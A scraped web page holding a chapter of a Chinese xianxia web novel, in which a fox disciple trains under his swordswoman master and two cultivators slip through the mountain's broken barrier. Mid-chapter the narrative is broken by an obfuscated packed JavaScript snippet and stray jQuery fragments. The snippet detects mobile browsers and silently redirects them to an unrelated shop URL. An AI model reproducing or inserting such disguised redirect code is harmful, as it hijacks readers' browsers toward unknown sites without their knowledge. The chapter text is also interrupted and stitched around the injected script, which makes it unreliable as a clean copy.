文趣网 > 都市小说 > 霜寒不敢恨春风 > 3. 屏障
    “天道人伦在上,你得到你想要的东西了吗?”

    说话的人面容隐在兜帽之下,明明近在咫尺,却怎么也看不清她的面容。

    叶霜行冷汗涔涔,跪在地上动不了半分,含着满嘴腥甜,身体不知是被谁操控了,心头满是激愤和不甘,却还是嘴硬:“旁的我不知,反正在这件事上,我想要,我就得到了!”

    这件事?

    是哪件事?

    他想问但是发不出声,喉咙口像坠了千斤重物,堵得他五脏六腑都发酸。

    “那看来,我们是谈不拢了,你回去吧。”那人声音很轻,也没有很愤怒,他却偏偏怕得不行,顶着扛不住的威压调动全身的力量起身,膝盖才离地,那人已经离他千里万里远。

    “别走,你别走!”他徒然挽留,动作也剧烈起来,“我错了,我错了!”

    狐狸挣扎着爬起来追上去,腕上一疼。

    砰一声,他翻身摔到床下去了。

    绒布团子爬起来茫然地四下看看,团花地毯,垂纱木床,多宝阁上一层放着木鸟一层堆了一排练剑的小人儿。

    这是师父的房间!

    他有师父了!

    狐狸捂住脸却笑了一会儿才后知后觉地摊开手掌,带着破口的肉垫,翻过去是毛茸茸的手背,前爪上缠着一条天青色的发带。

    狐狸咬了咬发带,那发带反而越缠越紧。

    发带末端的青玉珠子突然发光,指引着他往外走。

    狐狸倒腾着四肢跟随着珠子的指示走,踩过厚厚的积雪留下一串梅花印,绕过小楼,一步步攀上落雪峰顶。

    天光未明,落雪峰顶静得连一丝风声都没有,小狐狸也不由得放轻了呼吸。

    雪天一色之间,比起那柄悬空流光的宝剑,更让狐狸挪不开眼的,是与那柄剑相对而坐闭目养神的师父。

    那是天地间唯一的一抹翠色,也是他短暂狐生里的第一抹翠色。

    垂在师父发间的发带,与缠在他前爪上的发带一模一样。

    狐狸眼眶有些发热,轻手轻脚地爬过去,狐狸爪子试探着搭在叶妃寒的膝头上,没见她不耐,壮着胆子把毛茸茸一团的自己窝进师父怀里。

    这里太冷了,他给师父取暖。

    “你梦里一直在喊阿青错了,阿青是你的乳名吗?”叶妃寒没有睁眼,轻声问道。

    承天剑随叶妃寒的声音落地,轻微声响引得狐狸耳尖动了动,他眼睛盯着剑柄上流转渐歇的黄色宝石。

    他也不知道自己叫什么,但是他梦里的确一直有一个人叫他阿青。

    他只听过旁人叫他小杂种小哑巴和小乞丐。

    “那师父以后也叫你阿青,可好?”叶妃寒捏了捏他的耳朵尖。

    “好!”小狐狸翻了个身,亮出肚皮给师父看。

    “既然来了,就从此刻开始修习吧。”不解风情的叶妃寒又把狐狸翻了回去,“今日教你引气入体。”

    被迫站立的狐狸媚眼抛给瞎子看,贴着师父默不作声。

    “开灵智的生物比人修炼要容易许多。”叶妃寒眉眼低垂,恰与狐狸四目相对,明明相识还不足十二个时辰,可狐狸眼里的信任和孺慕之情简直要满溢出来。

    被人类磋磨折辱还能交付信任,这是叶妃寒没预料到的。

    小狐狸琥珀一样的眼睛里立着自己仙人师父。

    他试图学着师父的样子盘腿坐好,狐狸腿太短,带累他整个狐都跌出去。

    叶妃寒把他扶好。

    “不必拘泥于形式,站行坐卧,皆可修习。”叶妃寒掌心贴住狐狸额头,“我习剑胆琴心心法,按照师门规矩,你该修习另一门,白水鉴心。”

    两门心法相辅相成,隔代相传,她的师父,落雪峰峰主方步行,习的便是白水鉴心心法。

    “心法口诀已经传给你了,剩下的自己悟吧。”

    狐狸一扭身子重新翻开肚皮,像是个未开智的灵宠。

    叶妃寒轻轻一拍,狐狸肚皮上多了一册书简。

    “这是白水鉴心心法的口诀,你背熟它。”用灵力封束的书简,小狐狸一搭爪子,书卷自动摊开在他面前。

    “师父,我要把这些虫子吃掉吗?”叶霜行一双爪子在纸上划来划去。

    叶妃寒倒是也没想到,瞧着挺大个孩子,结果她要从认字开始教。

    “算我拔苗助长了。”叶妃寒抱起狐狸拿好心法,一个响指之后,书卷不翼而飞,金羽绒鸟凭空出现。

    大鸟今日威风凛凛,半人高的厚实身躯,全身金羽沐浴在晨光之下,如同一只油光水滑的烤鸡。

    书房的床帐系在烤鸡的脖子上,如围巾般迎风招展。

    山大王豆眼里冷冰冰一片,看这师徒二人如同蝼蚁,听到这个教字,浑身都漫着淡淡的死气。

    “教他识字。”叶妃寒一指头把山大王敲回了巴掌大,威风凛凛的大王被埋进了层层床帐之下。

    狐狸一双胳膊箍着自家师父的脖颈,被师父发上的珠子吸引,情不自禁地去扑,“亮了!”

    玉珠子光芒更盛,一幅巨大的山景从珠子中映照出来,回春峰那一脉山,陈回舟的名字底下,多了一行字,回春峰,常溪亭。

    “傻小子也收徒了?”山大王终于从层层纱幔里挣扎出来,扑腾着翅膀够那闪着华光的字。

    陈回舟,是叶妃寒这一辈弟子中的小师弟,回春峰医修,在凤湖剑山放出开山令收徒前便下山历练去了。

    叶妃寒眼里多了丝温度,“凤湖剑山声势浩大地开山收徒,反倒是我们两个未在此列的先收了徒弟。”

    “祖宗你还知道啊!”山大王想啄小狐狸的脸,却被叶妃寒的剑气弹开,“人家欢欢喜喜地爬上凤湖剑山山门,半数是冲着你一剑斩九州的名头来的。”

    “胡说八道。”瞬息之间,三人已经从峰顶回到正堂,“羲丰城里,你不是亲耳听到的吗?”

    “你监视鸟!”山大王怒起一翅,小狐狸应声而倒,头沉沉地压在叶妃寒肩上。

    山大王有些结巴:“不、不是鸟干的!”

    在叶妃寒看过来之前,山大王当机立断飞出八丈远运足灵力冲破了落雪峰的结界飞了出去,了无踪迹。

    叶妃寒叹了口气,以灵力游走狐狸经脉五脏和内府后,眼睛微微睁大,有些哭笑不得,“饿昏了?”

    天边被鸟扎出来的屏障窟窿,像是山大王留下的一张张大的嘲笑人的嘴。

    “落雪峰结界破了!”

    登凤湖剑山山门拜师的修士们都被安排住

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679028|207622||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在了南园,南园一望便是西北方向的落雪峰。

    半只脚迈进修行门槛的人,清晰地感受到了落雪峰上的灵力波动。

    “莫非有撼天大能与叶妃寒为难?一般修士如何能豁开那有城墙厚的结界。”梳双环髻的小姑娘扯着自己同伴的袖子,语速飞快。

    砖厚的结界遍布落雪峰,上头多出来的那个洞,像是山水画多出来的那一笔。

    简直神助!

    语气里的急切,整个院子里的人都感觉到了。

    “昨日那接引长老说了,落雪峰不收徒,即便峰门结界破了,你侥幸爬上去,也无济于事,白仙子哭错坟了。”

    墨袍郎君手中的折扇砸得震天响,听得人心浮气躁。

    白锦韶一把摁住他的扇子,眼睛都快眨花了。

    却被郎君反手一扇子敲在头上,郎君嘲道:“眼睛不好就去治,听说回春峰的那位,医术首屈一指。”

    “你——!”白锦韶美目一瞪,反手甩了一张符箓,符箓燃起,成燎原之势,逼退了一众在旁看戏的散修。

    持扇的郎君面色一变,“白锦韶你来真的!”

    即刻回扇格挡,还是不免被符箓之火燎了衣袍。

    “你这舌头不会说话,我替你好好烧一烧,不谢!”白锦韶脚尖轻点,立时有一白鹤,嘶鸣而来。

    白锦韶乘鹤而去,持扇郎君飞扇紧随其后,顷刻飞离了南园。

    持扇郎君没有坐骑,全身灵力都借到扇上,扇面上的太极图,随着他的灵力变化忽明忽暗。

    在他灵力不支将要落下去之时,自鹤上落下一条白绫,紧紧缠住他的腰,那有灵性地往上一提,郎君借力稳稳落在白鹤背上。

    “怎么样?我聪明吧!这下谁会想到你我二人合力闯落雪峰?”白锦韶语气轻快,眼角眉梢皆是得色。

    “下次你再用南冥火烧我衣袍,我才不同你作这个死。”持扇郎君展扇一挥,二人一鹤的踪迹隐在云层中,悄无声息地钻进落雪峰的屏障破洞里。

    “怎么是作死,陆临濛,你就是被你师父吓得连胆气都磨没了。”白锦韶一双眼睛里全是兴奋,“你想想,如果我们两个能拿下叶妃寒,不仅为整个九州仙门出一口恶气,你我,便是九州第一人了!”

    还不待她畅想更多美好图景,白鹤像是喝醉了一般翻涌起来,打了几个转,伴着一阵诡异的浓烟咣当一声落了地。

    这变故来不及防备,两个人在地上滚了两圈才终于停住。

    “难道还有人先你我一步来匡扶正义?”白锦韶掸净身上的土,试探着把门推开了一条小缝,被浓烟呛得咳嗽起来。

    烟不带毒,也无暗器,白锦韶索性将大门推开。

    浓烟散去许多后才看清楚这屋子是间厨房,浓烟正是从灶台上散出来的,灶台旁站着个被缚住双手的女修,女修脸上被熏出了许多道印子,一双清冷的眸子哪怕拿烟熏过也依旧水泠泠的。

    见这情形,白锦韶还有什么不明白的,她连忙将那女修拉出厨房。

    “你是被叶妃寒掳来的炉鼎对不对?”白锦韶把女修拉到安全的空地上还不住安抚人家,“你别怕,我会救你的。”

    白锦韶几次调用灵力去劈缚住女修的绳索,可那绳索纹丝不动。